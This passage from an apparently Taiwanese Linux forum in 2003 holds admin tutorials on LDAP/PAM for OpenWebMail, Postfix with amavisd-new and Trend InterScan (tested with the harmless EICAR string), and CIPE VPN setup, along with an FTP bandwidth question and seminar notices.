          group:      ldap files nisplus ldap


          (5)在/etc/pam.d目錄下新增一openwebmail檔案,檔案內容如下:

          代碼: [選擇]
          auth       sufficient   /lib/security/pam_ldap.so
          auth       required     /lib/security/pam_unix_auth.so use_first_pass
          account    sufficient   /lib/security/pam_ldap.so
          account    required     /lib/security/pam_unix_acct.so
          password   required     /lib/security/pam_cracklib.so retry=3
          password   sufficient   /lib/security/pam_ldap.so
          password   required     /lib/security/pam_pwdb.so try_first_pass


          (6)編輯 /etc/ldap.conf

          請依下列敘述修改

          #定義LDAP server ip address
          host 127.0.0.1
          #定義LDAP server的distinguished name
          base dc=myunix,dc=adsldns,dc=org
          #定義要使用何種ldap版本
          ldap_version 3
          #定義查詢時所使用的使用者名稱(預設是匿名)
          binddn cn=Manager,dc=myunix,dc=adsldns,dc=org
          #定義查詢時所使用的使用者名稱密碼(預設沒有密碼)
          bindpw secret
          #定義LDAP server port
          port 389
          #定義LDAP search的範圍(sub、one、base)
          scope sub
          pam_crypt local

          (7)登入openwebmail
          請利用openwebmail的登入首頁來嘗試是否可以登入成功。

          註:我有遇到由migration tools所轉出來的passwd和shadow有問題。你可以利用slappasswd來重新產生密碼,並將新密碼匯入ldap server再行試看看。範例如下:

          代碼: [選擇]
          slappawwd -h {CRYPT} -s 1234

          以上的1234是你的密碼

          代碼: [選擇]
          {CRYPT}0BkUALRb6n5b2

          再將上面的亂碼匯入ldap server即可

          10
          安裝Postfix + amavisd-new + Trend Interscan

          作者: zoob (vincent@myunix.adsldns.org)

          版權聲明:可以任意轉載,轉載時請務必標明原始出處和作者資訊

          前言

          amavisd-new為一新的amavis perl module,它具有高效能、檢查信件內容(SpamAssasin)、VirusScanners(可結合28種之多的掃毒程式)。它是由perl所寫成的,所以效能有大幅的成長。它可與MTA使用SMTP、LMTP協定來溝通。

          接下來我先說明postfix+amavisd-new的流程圖,如下圖



          (1)信件由Internet(smtpd)或是由Local(pickup)接收要傳送的信件
          (2)信件傳送至cleanup
          (3)信件傳送至qmgr
          (4)因content_filter的設定,會將信件傳送至smtp-amavis
          (5)amavisd-new執行content file及scanvirus的動作
          (6)amavisd-new將信件傳送至smtpd 10025(127.0.0.1:10025)
          (7)信件傳送至cleanup
          (8)信件傳送至qmgr
          (9)信件傳送至Internet(smtp)或是Local(local)

          安裝環境

          RedHat 7.3(2.4.20)
          postfix-2.0.7
          amavisd-new-20030314-p1
          Trend Interscan-3.8
          perl 5.8.0-55

          安裝Trend Interscan

          事前安裝套件項目
          安裝compat-libstdc++-6.x-xxx.i386.rpm(或更新的版本)

          安裝

          代碼: [選擇]
          cp isvw_v38build1080_linux.tar /tmp
          tar zxvf isvw_v38build1080_linux.tar
          cd build_1080
          ./isinst


          接下來會出現安裝畫面,請選擇Install InterScan VirusWall Base SystemInstall InterScan VirusWall Base System為「YES」,其餘項目皆選擇為「NO」,接下來就繼續安裝動作

          當問你安裝路徑為何時,請輸入/etc/trend,其它就一直按「Enter」即可。

          安裝完畢後,請進入Trend InterScan Manager畫面,設定相關設定

          安裝及設定amavisd-new

          事前安裝套件項目

          需安裝以下套件

          perl需要5.005版本以上

            Archive-Tar-x.xx
            Convert-UUlib-x.xx
            IO-stringy-x.xx
            MailTools-x.xx
            Net-Server-x.xx
            Archive-Zip-x.xx
            Convert-TNEF-x.xx
            HTML-Parser-x.xx
            Mail-SpamAssassin-x.xx
            MIME-tools-x.xxx
            Syslog-x.xx

          以上套件皆可從 http://www.cpan.org 下載
          (以上套件我已包成amavis-perl.tar.gz )

          perl-Compress-Zlib-x.xx-xx.rpm
          arc.xxx.xxx.rpm
          zoo.xxx.xxx.rpm
          lha.xxx.tar.gz
          unarj.xxx.xx.tar.gz
          unrar.xxx.xxx.tar.gz

          安裝

          (1)下載amavisd-new套件 ( http://www.ijs.si/software/amavisd/ )

          (2)解壓縮該套件

          代碼: [選擇]
          cp amavisd-new-20030314-p1.tar.gz /tmp
          cd /tmp
          tar zxvf amavisd-new-20030314-p1.tar.gz
          cd amavisd-new-20030314


          (3)複製執行檔及設定檔至適當位置

          代碼: [選擇]
          cp amavisd /usr/local/sbin/
          chown root /usr/local/sbin/amavisd
          chmod 755 /usr/local/sbin/amavisd

          cp amavisd.conf /etc/
          chown root /etc/amavisd.conf
          chmod 644 /etc/amavisd.conf


          (4)建立amavisd的使用者及群組

          代碼: [選擇]
          useradd -d  /dev/null -s /sbin/nologin amavis

          (5)建立amavisd的工作目錄及病毒隔離目錄

          代碼: [選擇]
          mkdir /var/amavis
          chown amavis.amavis /var/amavis
          chmod 750 /var/amavis

          mkdir /var/virusmails
          chown amavis.amavis /var/virusmails
          chmod 750 /var/virusmails


          (6)設定amavisd.conf

          將 $daemon_user和$daemon_group設定為剛剛建立的使用者及群組,如下

            $daemon_user  = 'amavis';

            $daemon_group = 'amavis';


          將$TEMPBASE設定為剛剛建立的工作目錄,如下

            $TEMPBASE = "/var/amavis"


          將$QUARANTINEDIR設定為剛剛建立的病毒隔離目錄

            $QUARANTINEDIR = '/var/virusmails';


          設定轉送已檢查過的郵件傳送目的地,並設定通知方法為$forward_method

            $forward_method = 'smtp:127.0.0.1:10025';
            $notify_method = $forward_method;


          設定amavisd-new所listen的ip、port以及允許relay的host ip

            $inet_socket_bind = '127.0.0.1';

            $inet_socket_port = 10024;

            @inet_acl = qw( 127.0.0.1 );



          設定virus、banned、spam的處理方法

          D_PASS:不做任何處理,直接傳送給收件者。
          D_DISCARD:信件不會傳送給寄件者及收件者。
          D_BOUNCE:不傳送給收件者,除了定義在$viruses_that_fake_sender_re病毒名稱外的信件,amavisd-new皆會傳送DSN訊息給寄件者。
          D_REJECT:不傳送給收件者,寄件者會收拒絕傳送的訊息。

            $final_virus_destiny  = D_BOUNCE;  # (defaults to D_BOUNCE)
            $final_banned_destiny = D_BOUNCE;  # (defaults to D_BOUNCE)
            $final_spam_destiny   = D_REJECT;  # (defaults to D_REJECT)



          另外依機器等級可增減以下數值

            $max_servers  =  20;
            $max_requests = 100;
            $child_timeout=5*60;

            $virus_admin = "administrator\@$mydomain";

            $spam_admin = "administrator\@$mydomain";

            $mailfrom_notify_admin     = "administrator\@$mydomain";
            $mailfrom_notify_recip     = "administrator\@$mydomain";
            $mailfrom_notify_spamadmin = "administrator\@$mydomain";




          (7)啟動amavisd

          代碼: [選擇]
          /usr/local/sbin/amavisd

          設定Postfix for Amavisd-new

          安裝Postfix的部份我就不在這裡敘述了

          (1)首先請先修改/etc/postfix/master.cf,增加以下敘述

            smtp-amavis unix -      -       n       -       2       lmtp
              -o smtp_data_done_timeout=1200
              -o disable_dns_lookups=yes

            #以上敘述是設定增加一service名為smtp-amavis,而此service我不設定為run chroot,另外因為postfix 2.0版以上在支援lmtp部份裡有修正bug,因此我使用了lmtp的protocol,lmtp可支援milti-session郵件傳送和per-recipient狀態回報。lmtp雖然也可以使用在postfix 1.x的版本,但是可能會導致1、2個Bug產生,所以不建議在postfix 1.x上使用lmtp,以smtp傳送即可。

            #另外注意
          smtp_data_done_timeout的值必須大於/etc/amavisd.conf$child_timeout的值,而$child_timeout的值則須小於/etc/postfix/main.cfsmtp_data_dome_timeout的值

            127.0.0.1:10025 inet n  -       n       -       -       smtpd
            -o content_filter=
            -o local_recipient_maps=
            -o relay_recipient_maps=
            -o smtpd_restriction_classes=
            -o smtpd_client_restrictions=
            -o smtpd_helo_restrictions=
            -o smtpd_sender_restrictions=
            -o smtpd_recipient_restrictions=permit_mynetworks,reject
            -o mynetworks=127.0.0.0/8
            -o mynetworks_style=host
            -o strict_rfc821_envelopes=no

          #以上敘述是設定smtpd(127.0.0.1:10025)
          [/list]

          (2)設定/etc/postfix/main.cf

          請新增或是修改以下敘述,如下:

            content_filter = smtp-amavis:[127.0.0.1]:10024


          (3)重新啟動postfix

          代碼: [選擇]
          postfix stop;postfix start

          測試

            [root@mail postfix]# telnet localhost 25
            Trying 127.0.0.1...
            Connected to localhost.
            Escape character is '^]'.
            220 mail.myunix.adsldns.org ESMTP
            helo myunix.adsldns.org
            250 mail.myunix.adsldns.org
            mail from:vincent@myunix.adsldns.org
            250 Ok
            rcpt to:test@myunix.adsldns.org
            250 Ok
            data
            354 End data with <CR><LF>.<CR><LF>
            subject: This is a Virus test
            X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
            .
            250 Ok: queued as 76A6014AB42
            quit
            221 Bye
            Connection closed by foreign host.[/list]

            以上紅色部份為測試病毒的字串,別擔心,按照字串輸入即可

            此時請去看/var/log/maillog,訊息應該如下:
            紅色訊息為病毒訊息

              Apr 10 16:22:46 mail postfix/smtpd[2114]: connect from mail[127.0.0.1]
              Apr 10 16:23:07 mail postfix/smtpd[2114]: 76A6014AB42: client=mail[127.0.0.1]
              Apr 10 16:24:01 mail postfix/cleanup[2115]: 76A6014AB42: message-id=<20030410082307.76A6014AB42@mail.myunix.adsldns.org>
              Apr 10 16:24:01 mail postfix/qmgr[2068]: 76A6014AB42: from=<vincent@myunix.adsldns.org>, size=468, nrcpt=1 (queue active)
              Apr 10 16:24:01 mail amavis[1773]: (01773-01) LMTP:10024 /var/amavis/amavis-20030410T162401-01773: <vincent@myunix.adsldns.org> -> <vincent@myunix.adsldns.org> Received: SIZE=468 from mail.myunix.adsldns.org ([127.0.0.1]) by localhost (mail [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 01773-01 for <vincent@myunix.adsldns.org>; Thu, 10 Apr 2003 16:24:01 +0800 (CST)
              Apr 10 16:24:02 mail amavis[1773]: (01773-01) body hash: 69630e4574ec6798239b091cda43dca0
              Apr 10 16:24:02 mail amavis[1773]: (01773-01) Checking: <vincent@myunix.adsldns.org> -> <vincent@myunix.adsldns.org>
              Apr 10 16:24:02 mail amavis[1773]: (01773-01) WARN: all primary virus scanners failed, trying backups
              Apr 10 16:24:02 mail amavis[1773]: (01773-01) Using Trend Micro FileScanner: /etc/iscan/vscan -a /var/amavis/amavis-20030410T162401-01773/parts
              Apr 10 16:24:02 mail amavis[1773]: (01773-01) run_av: /etc/iscan/vscan status=0 (0 ),Virus Scanner v3.1, VSAPI v5.600-1011\nTrend Micro Inc. 1996,1997\n\tPattern version 508\n\tPattern number 48220\nConfiguration: -a -r -nl -c1 -c2 -u -s\nDirectory /var/amavis/amavis-20030410T162401-01773/parts\n\t/var/amavis/amavis-20030410T162401-01773/parts/part-00001\n*** Found virus Eicar_test_file in file /var/amavis/amavis-20030410T162401-01773/parts/part-00001\n\n==============================\nDirectory:\n\tSearched : 1\nFile:\n\tSearched : 1\n...Scan : 1\n\tInfected : 1\n\tInfected : 1(Include files been compressed)\nTime:\n\tStart : 4/10/03 16:24:02\n\t Stop : 4/10/03 16:24:02\n\t Used : 00:00
              Apr 10 16:24:02 mail amavis[1773]: (01773-01) local delivery: <vincent@myunix.adsldns.org> -> <virus-quarantine>, mbx=/var/virusmails/virus-20030410-162402-01773-01
              Apr 10 16:24:02 mail amavis[1773]: (01773-01) SEND via SMTP: [127.0.0.1:10025] <administrator@myunix.adsldns.org> -> <administrator@myunix.adsldns.org>
              Apr 10 16:24:02 mail postfix/smtpd[2120]: connect from mail[127.0.0.1]
              Apr 10 16:24:02 mail postfix/smtpd[2120]: 2000814AB43: client=mail[127.0.0.1]
              Apr 10 16:24:02 mail postfix/cleanup[2115]: 2000814AB43: message-id=<VA01773-01@mail>
              Apr 10 16:24:02 mail postfix/qmgr[2068]: 2000814AB43: from=<administrator@myunix.adsldns.org>, size=2313, nrcpt=1 (queue active)
              Apr 10 16:24:02 mail postfix/smtpd[2120]: disconnect from mail[127.0.0.1]
              Apr 10 16:24:02 mail amavis[1773]: (01773-01) SEND via SMTP: [127.0.0.1:10025] <> -> <vincent@myunix.adsldns.org>
              Apr 10 16:24:02 mail postfix/smtpd[2120]: connect from mail[127.0.0.1]
              Apr 10 16:24:02 mail postfix/smtpd[2120]: 38AA114AB44: client=mail[127.0.0.1]
              Apr 10 16:24:02 mail postfix/cleanup[2115]: 38AA114AB44: message-id=<VS01773-01@mail>
              Apr 10 16:24:02 mail postfix/qmgr[2068]: 38AA114AB44: from=<>, size=2870, nrcpt=1 (queue active)
              Apr 10 16:24:02 mail postfix/smtpd[2120]: disconnect from mail[127.0.0.1]
            Apr 10 16:24:02 mail amavis[1773]: (01773-01) INFECTED (Eicar_test_file), <vincent@myunix.adsldns.org> -> <vincent@myunix.adsldns.org>, quarantine virus-20030410-162402-01773-01, Message-ID: <20030410082307.76A6014AB42@mail.myunix.adsldns.org>
            Apr 10 16:24:02 mail amavis[1773]: (01773-01) TIMING [total 327 ms] - SMTP LHLO: 3 (1%), SMTP pre-MAIL: 0 (0%), mkdir tempdir: 0 (0%), create email.txt: 0 (0%), SMTP pre-DATA-flush: 3 (1%), SMTP DATA: 35 (11%), body hash: 1 (0%), mkdir parts: 1 (0%), mime_decode: 10 (3%), get-file-type: 5 (2%), decompose_part: 1 (0%), parts: 0 (0%), AV-scan-1: 56 (17%), write-header: 5 (1%), save-to-local-mailbox: 0 (0%), fwd-connect: 21 (7%), fwd-mail-from: 1 (0%), fwd-rcpt-to: 1 (0%), write-header: 2 (1%), fwd-data: 6 (2%), fwd-rundown: 72 (22%), fwd-connect: 19 (6%), fwd-mail-from: 1 (0%), fwd-rcpt-to: 1 (0%), write-header: 2 (1%), fwd-data: 8 (2%), fwd-rundown: 71 (22%), unlink-1-files: 2 (1%), rundown: 0 (0%)
            Apr 10 16:24:02 mail postfix/lmtp[2117]: 76A6014AB42: to=<vincent@myunix.adsldns.org>, relay=127.0.0.1[127.0.0.1], delay=55, status=sent (250 2.5.0 Ok, DSN sent (550 5.7.1 Message content rejected, id=01773-01 - VIRUS: Eicar_test_file))
            Apr 10 16:24:02 mail postfix/smtp[2121]: 2000814AB43: to=<administrator@myunix.adsldns.org>, relay=mail.myunix.adsldns.org[172.17.13.29], delay=0, status=sent (250 2.6.0  <VA01773-01@mail> Queued mail for delivery)
            Apr 10 16:24:02 mail postfix/smtp[2122]: 38AA114AB44: to=<vincent@myunix.adsldns.org>, relay=mail.myunix.adsldns.org[172.17.13.29], delay=0, status=sent (250 2.6.0  <VS01773-01@mail> Queued mail for delivery)
            Apr 10 16:24:04 mail postfix/smtpd[2114]: disconnect from mail[127.0.0.1][/list]

            接下來你寄件者應該會收到「無法傳送」(錯誤代碼為550)的信件

            收到的話,恭禧你設定完畢

            11
            各位同學

            在3月份恆逸資訊有舉辦Red Hat Linux 技術應用系列研討會,主題為跨平台目錄服務伺服器-LDAP,有興趣的人去聽一聽吧(在台北) ^_^

            詳情請看 http://edu.uuu.com.tw/events/030304.htm

            註:這個研討會要錢,但有恆逸金卡的學員免費,銀卡要750,其它人要1000 ~ 1500

            12
            酷!學園 精華區 / 安裝及架設VPN-CIPE
            « 於: 2003-03-03 17:01 »
            安裝及架設VPN-CIPE

            作者: zoob (vincent@myunix.adsldns.org)

            版權聲明:可以任意轉載,轉載時請務必標明原始出處和作者資訊

            前言

            目前在不同的LAN Node之間,如果要存取彼此之間的內部資料時,最常用的就是互相用專線將2個Node連接起來,來防止透過Internet來存取機密資料時所導致的安全問題。而利用專線來連接的話,也是有被ISP不肖人士來竊取機密資料的風險。透過VPN(Virtual Private Networks)來存取資料,就可以避免此問題,又可透過Internet來存取,藉此節省昂貴的專線費用。此文章則介紹利用目前VPN Solution其中的一種----CIPE(Crypto IP Encapsulation)。

            簡介

            CIPE是利用UDP協定來傳送編碼後的資料。從 CIPE 1.5版之後,它也可以透過"Public key"的方式來相互驗證(pkcipe)。

            CIPE主要分為兩部份:Kernel module和User space daemon

            Kernel Module:主要在控制IP封包,傳送及接收編碼後的封包,Kernel module名稱取決於編碼方式和使用的協定。以cipcb.o這個kernel module來說,c代表 CIPE protocol version 3,b代表 使用Blowfish的編碼方式。

            User space daemon:主要在管理VPN tunnel的設定。此daemon負責client的認證和交換使用在編碼用途上的key。

            CIPE支援了Blowfish、IDEA、CRC-32等編碼及checksum方式。

            環境:

            OS:RedHat 8.0、RedHat 7.2
            CIPE 1.4.xx、CIPE 1.5.4
            openssl 0.9.6x

            準備工作

            CIPE是在i386上所開發完成的。根據作者的說法,它在其他的架構之下"應該"可以運作。CIPE支援了Linux以下的Kernel版本:2.0.*(2.0.12以後)、2.1.*(2.1.103以後)、2.2.*、2.3.*(2.3.48之後)、2.4.*。

            如果你要compile CIPE的Source檔案的話,請將你kernel版本的Source(必須和你目前所使用的版本一致!!)假設放置在 /usr/src/linux 目錄下。如果是使用rpm來安裝,則不用此動作。

            (1)啟動 IP Forwarding/Gatewaying
            代碼: [選擇]
            echo 1 > /proc/sysnet/ipv4/ip_forward

            (2)檢查是否有CIPE的kernel module(cipcb.o)
            Redhat 7.2:/lib/modules/`uname -r`/kernel/drivers/net/cipe/cipcb.o
            Redhat 8.0:/lib/modules/`uname -r`/kernel/drivers/addon/cipe/cipcb.o

            (3)如果你要使用CIPE 1.5版裡面的PKCIPE的話,你還必須安裝openssl 0.9.6x之後的版本

            安裝

            安裝部份我分為兩部份來說明:

            一、rpm

            很簡單的只要直接rpm -ivh cipe-1.x.x.i386.rpm即可安裝完畢

            二、compile source code

            (1)Download tarball file( http://sites.inka.de/~W1011/devel/cipe.html )

            (2)解壓縮至tmp目錄

            代碼: [選擇]
            tar zxvf cipe-1.x.x.tar.gz

            (3)執行compile及install

            代碼: [選擇]
            ./configure --with-linux=/usr/src/linux-`uname -r`;make;make install

            configure有許多的選項,你可以執行 ./configure --help來查閱選項或是參考註1

            註:
            1.你可以從CVS取得最新的版本,敘述如下:

            代碼: [選擇]
            cvs -d:pserver:anonymous@cvs.cipe-linux.sourceforge.net:/cvsroot/cipe-linux login
            cvs -d:pserver:anonymous@cvs.cipe-linux.sourceforge.net:/cvsroot/cipe-linux co cipe-linux


            2.Win32部份你可以從 http://cipe-win32.sourceforge.net/ 取得程式

            設定

            首先假設架構如下圖(Site to Site)



            設定部份我分為三種模式來說明:

            一、ciped rpm(1.4.x)

            (1)首先產生static key:(Router A和Router B的Static Key需相同)

            代碼: [選擇]
            echo "key `ps aux|md5sum`" > /etc/cipe/options.cipcb0

            chmod 400 /etc/cipe/options.cipcb0


            註:1.4版或是更新的版本所產生出來的key會與1.4版之前的版本不符合。為解決此問題可用以下敘述來解決,不過最好的辦法就是更新舊版本。

            方法1:
            代碼: [選擇]
            (ps aux|md5sum; ps alx|md5sum) | tr -cd 0-9

            方法2:在confiugre時加上 --enable-bug-compatible 即可。

            (2)編輯ifcfg-cipcb0

            1.從/usr/share/doc/cipe-1.4.5/samples目錄下複製redhat-ifcfg-cipcb0至/etc/sysconfig/network-scripts目錄下,並更名為ifcfg-cipcb0

            2.此處所需設定選項請看檔案說明,範例如下:

            [Router A]

            代碼: [選擇]

            #指定CIPE使用的Device Name
            DEVICE=cipcb0
            #指定是否自動啟動
            ONBOOT=yes
            #指定使用者是否可以自訂
            USERCTL=no
            #指定本地端CIPE使用的UDP port
            MYPORT=1234
            #指定對方的真實ip及CIPE使用的UDP port
            PEER=100.0.20.1:1234
            #指定遠端的virtaul ip
            PTPADDR=192.168.20.1
            #指定本地端的virtual ip
            IPADDR=192.168.10.1


            [Router B]

            代碼: [選擇]

            #指定CIPE使用的Device Name
            DEVICE=cipcb0
            #指定是否自動啟動
            ONBOOT=yes
            #指定使用者是否可以自定
            USERCTL=no
            #指定本地端CIPE使用的UDP port
            MYPORT=1234
            #指定對方的真實ip及CIPE使用的UDP port
            PEER=100.0.10.1:1234
            #指定遠端的virtaul ip
            PTPADDR=192.168.10.1
            #指定本地端的virtual ip
            IPADDR=192.168.20.1


            註:注意兩端的Firewall是否有允許彼此之間的UDP連接

            (3)啟動ifcfg-cipcb0

            代碼: [選擇]
            ifup cipcb0

            查看cipcb0是否有啟動成功,互相ping看看。

            (4)增加route table

            如果互相連通LAN底下的(Host X、Host Y),請在Router A和B上增加對方的route table。

            Router A

            代碼: [選擇]
            route add -net 192.168.20.0 netmask 255.255.255.0 gw 192.168.20.1

            Router B

            代碼: [選擇]
            route add -net 192.168.10.0 netmask 255.255.255.0 gw 192.168.10.1

            此時請在Host X和Host Y機器上彼此ping看看是否有回應。有的話,恭禧你成功了

            二、ciped-cb Tarball file(1.5.x)

            (1)請先複製所需的檔案,並將options權限設定為400

            代碼: [選擇]
            cp /tmp/cipe-1.5.x/samples/* /etc/cipe/
            chmod 400 /et/cipe/options


            (2)編輯options

            此處所需設定選項請看檔案說明或是參考註2,範例如下:

            [Router A]

            代碼: [選擇]

            ptpaddr 192.168.20.1
            ipaddr 192.168.10.1
            me 100.0.10.1:1234
            peer 10.0.20.1:1234
            key xxxxxxxxxxxxxxxxxx (xx部份可執行 ps aux|md5sum即可得到範例。


            註: 最後面的" - "忽略不要複製,Router A和Router B的Static Key需相同)

            [Router B]

            代碼: [選擇]

            #指定對方的virtual ip
            ptpaddr 192.168.10.1
            #指定本地端的virtual ip
            ipaddr 192.168.20.1
            #指定本地端的真實IP及CIPE所使用的UDP port
            me 100.0.20.1:1234
            #指定對方的真實IP及CIPE所使用的UDP port
            peer 100.0.10.1:1234
            key xxxxxxxxxxxxxxxxxx (xx部份可執行 ps aux|md5sum即可得到範例。


            註:

            1.最後面的" - "忽略不要複製,Router A和Router B的Static Key需相同)

            2.注意兩端的Firewall是否有允許彼此之間的UDP連接

            3.註:1.5版或是更新的版本所產生出來的key會與1.4版之前的版本不符合。為解決此問題可用以下敘述來解決,不過最好的辦法就是更新舊版本。

            方法1:
            代碼: [選擇]
            (ps aux|md5sum; ps alx|md5sum) | tr -cd 0-9

            方法2:在confiugre時加上 --enable-bug-compatible 即可。

            (3)啟動ciped-cb daemon

            代碼: [選擇]
            ciped-cb -o /etc/cipe/options

            查看cipcb0是否有啟動成功,互相ping看看。

            註:
            1.如果在啟動時出現/etc/cipe/options: incorrect permissions的訊息,則代表你 -o 後面未指定options的絕對路徑。
            2.如果出現kernel: cipcb0: ciped version mismatch f3d2234c -> 25bed682的訊息的話,則代表你的kernel module和cipe daemon的版本不相符,此時,請將/tmp/cipe-1.5.x/`uname -r`-i386-cb/cipcb.o複製至原kernel module的目錄下即可。之後需重新開機

            (4)增加route table

            如果互相連通LAN底下的(Host X、Host Y),請在Router A和B上增加對方的route table。

            Router A

            代碼: [選擇]
            route add -net 192.168.20.0 netmask 255.255.255.0 gw 192.168.20.1

            Router B

            代碼: [選擇]
            route add -net 192.168.10.0 netmask 255.255.255.0 gw 192.168.10.1

            此時請在Host X和Host Y機器上彼此ping看看是否有回應。有的話,恭禧你成功了

            (5)增加/usr/local/sbin/ciped-cb -o /etc/cipe/options的敘述至/etc/rc.local裡,使得開機時會自動啟動

            三、pkcipe Tarball file(1.5.x)

            pkcipe是1.5版以上才提供的工具,它可以提供使用者用public/private key pair的方式來驗證,以避免static key的缺點

            (1)設定public key option,範例如下

            Router A, /etc/cipe/pk/routerb 內容如下:

            代碼: [選擇]
                -----BEGIN PUBLIC KEY-----
                 (這裡是Route B的public key)
                 -----END PUBLIC KEY-----
                 ipaddr  100.0.10.1
                 ptpaddr 100.0.20.1


            Router B, /etc/cipe/pk/routera 內容如下:

            代碼: [選擇]
                -----BEGIN PUBLIC KEY-----
                 (這裡是Route A的public key)
                 -----END PUBLIC KEY-----
                 ipaddr  100.0.20.1
                 ptpaddr 100.0.10.1


            以上是基本設定。注意: me 和 peer 的選項不必設定。

            public/private可由rsa-keygen程式來產生,範例如下:

            代碼: [選擇]
            rsa-keygen -p keyname

            (2)pkcipe主要分為server mode和client mode
            在server mode的伺服器上,pkcipe需透過 inetd或是xinetd來啟動。設定步驟如下:
              1. 選擇建立連線的TCP port (這裡我選擇使用TCP 1234.) 範例如下:

                 在server端和client端的 /etc/services 裡面增加以下敘述:

            代碼: [選擇]
                     pkcipe       1234/tcp

            [inetd]
              1. /etc/inetd.conf:

            代碼: [選擇]
                     pkcipe stream tcp nowait root /usr/local/sbin/pkcipe pkcipe

                 或是如果你想使用TCP Wrapper來做Access Control的話:

            代碼: [選擇]
                     pkcipe stream tcp nowait root /usr/sbin/tcpd /usr/local/sbin/pkcipe

              2.重新啟動inetd service

            [xinetd]
              1. 請在/etc/xinetd.d目錄下新增一pkcipe檔案,檔案內容如下:

            代碼: [選擇]


            service pkcipe
            {
                    disable = no
                    socket_type             = stream
                    wait                    = no
                    user                    = root
                    server                  = /usr/local/sbin/pkcipe
                    log_on_success  += HOST DURATION
                    log_on_failure  += HOST
            }



              2.重新啟動xinetd service

            (3)在client端部份可透過以下步驟來建立連線

            代碼: [選擇]
                pkcipe -c SERVER.MACHINE:pkcipe

            在SOCKS模式下,client端要使用 -r SERVER.MACHINE 選項來回報client ip給伺服器端

            (4)查看pkcipe是否有啟動成功,互相ping看看。

            (5)增加route table

            如果互相連通LAN底下的(Host X、Host Y),請在Router A和B上增加對方的route table。

            Router A

            代碼: [選擇]
            route add -net 192.168.20.0 netmask 255.255.255.0 gw 192.168.20.1

            Router B

            代碼: [選擇]
            route add -net 192.168.10.0 netmask 255.255.255.0 gw 192.168.10.1

            此時請在Host X和Host Y機器上彼此ping看看是否有回應。有的話,恭禧你成功了

            註1:Configure 選項
            `--with-linux=dir' Path to the Linux source tree (e.g., `/usr/src/linux').

            `--with-linux-include=dir'     Path to the Linux include tree, if you don't have the complete source.  This include tree must still contain all files generated by the kernel configuration process. Using a complete source tree is preferred (necessary on some architectures) because in that case the kernel `Makefile' parameters are also used.

            `--with-ssl-includes=dir' Path to the OpenSSL includes, if the script can not find it.

            `--with-ssl-libs=dir' Path to the OpenSSL libraries, if the script can not find it.

            `--enable-protocol=n' Use encapsulation protocol `n'. The supported values in CIPE 1.5 are 3 and 4. *Note Protocols and ciphers::, for how to choose the right one.  The default is 3.

            `--enable-idea' Use the IDEA cipher (default is Blowfish).

            `--disable-debug' Disable debugging code in kernel module. Not really useful.

            `--disable-dyndev' Disable dynamic device allocation. Not really useful.

            `--enable-logfacility=x' Set syslog facility for `ciped' and `pkcipe' (default and usually right is LOG_DAEMON).

            `--disable-asm' Disable use of assembler code. Not really useful.

            `--enable-name=n' Set a name suffix for the compilation directory.

            `--enable-bug-compatible' Use old, broken interpretation of keys. *Note Keys in older CIPE::.

            `--disable-send-config' Do not send configuration information to the peer. This is normally sent on startup to help diagnose mismatches, but it is sent
             unencrypted, which may be unwanted.

            `--disable-pkcipe' Do not compile and install the PKCIPE tool.

            註2:options選項

            `device' Name of the CIPE device. If not given, the system picks a free one.
            `debug' Don't go background, use stderr instead of syslog. (Independent of the kernel driver debug option.)
            `ipaddr' IP address of the CIPE device.
            `ptpaddr' IP address of the peer device (i.e. the CIPE device on the other  end). For protocol 3.
            `mask' Netmask of the CIPE device. For protocol 4.
            `bcast' Broadcast address of the CIPE device. For protocol 4.
            `mtu' Device MTU (default: ethernet standard MTU minus all necessary headers)
            `metric' Device metric (not sure if this is used anywhere...)
            `cttl' Carrier TTL value. If not specified or 0, use the payload packet's  TTL. Default recommendation is 64.
            `me' Our carrier UDP address. If either IP or port are not given, the  system picks one and reports it via `ip-up'.
            `peer' The other end's carrier UDP address.
            `key' The link key. For security reasons, the key has to be set via an  options file, subject to the restrictions described above. The key
            should be 128 bits in hexadecimal encoding. (To generate such a beast  from random, try `ps -auxw | md5sum'.)
            `nokey' Don't encrypt at all, just encapsulate in UDP. Only with this option,  `key' is not needed.
            `socks' Address (port required!) of the SOCKS5 server. *Note SOCKS::.(GSSAPI/Kerberos authentication is not supported)
            `tokxc' Timeout (seconds) for key exchange. Default: 10.
            `tokey' Dynamic key lifetime. Default: 600 (10 minutes).
            `ipup' Script to run instead of `/etc/cipe/ip-up'.
            `ipdown' Script to run instead of `/etc/cipe/ip-down'.
            `arg' Argument to supply to `ip-up', `ip-down'.
            `maxerr' Maximum number of errors before ciped exits. *Note Error handling::.
            `tokxts' Key exchange timestamp timeout. Default: 0 (no timestamps).   Set this to 30 to prevent key exchange replay attacks, but only if the peer runs CIPE 1.2 or later and both system clocks are reasonably synchronized.
            `ping' Frequency (in seconds) for keep-alive pings. Default is don't send any pings.   The "ping" used here is internal to CIPE, not ICMP ping.
            `toping' Timeout for pings. If no answer is received on a keep-alive ping in  this time, it counts as an error, *Note Error handling::. Default is no check for answers.
            `dynip' Assume the carrier is on a dynamic IP address. *Note Dynamic carrier::.
            `hwaddr' Set the dummy MAC address used in Ethernet mode (protocol 4).
            `ifconfig' Require an external `ifconfig' call to configure the interface.
            `checksum' Use checksummed UDP carrier packets. Only necessary if the network  does not like unchecksummed packets.

            註3:其中一端為dynamic ip,該如何處理?

            此問題已可以在CIPE 1.4.0以上的版本可解決。當一端為static ip,一端為dynamic ip時,在dynamic端你必須指定正確的 peer 選項(static ip),並且需指定 ping 選項,dynamic端的ping 選項會在dynamic 端啟動時,告訴static 端目前的dynamic端的ip。而static 端必須為 peer 指定一個無效的ip,並且需指定 maxerr = -1 選項。

            如果兩端都為dynamic ip時,你必須使用PKCIPE來解決。

            13
            Linux 討論版 / 如何限制FTP的Total 下載頻寬
            « 於: 2003-02-27 12:31 »
            請教各位大大一個問題

            目前我是使用iptable + cbq + tc的方式來做頻管理的工作

            但是我一直有個問題就是如何針對FTP service來限制Total下載頻寬呢?
            因為大多數的FTP program在限制頻寬部份有點限制,只能去限制使用者的connect數目及每一個connection的下載頻寬。
            這樣在頻寬的使用上無法有效完全利用頻寬

            而我想做到不管使用者的conncectino數目多少,全部使用者的connection下載頻寬加起來不能超過我所設定的頻寬

            因為使用者在下載資料時沒有固定的port(src and dst)來讓我來做mangle packet。所以上來請教各位大大是否有辦法能達到小弟的想法呢?


            環境:
            (1)RH 8.0
            (2)iptables 1.2.6a

            14
            各位同學
            第三波資訊教育訓練中心於3/8有舉辦 OpenLDAP  的講座
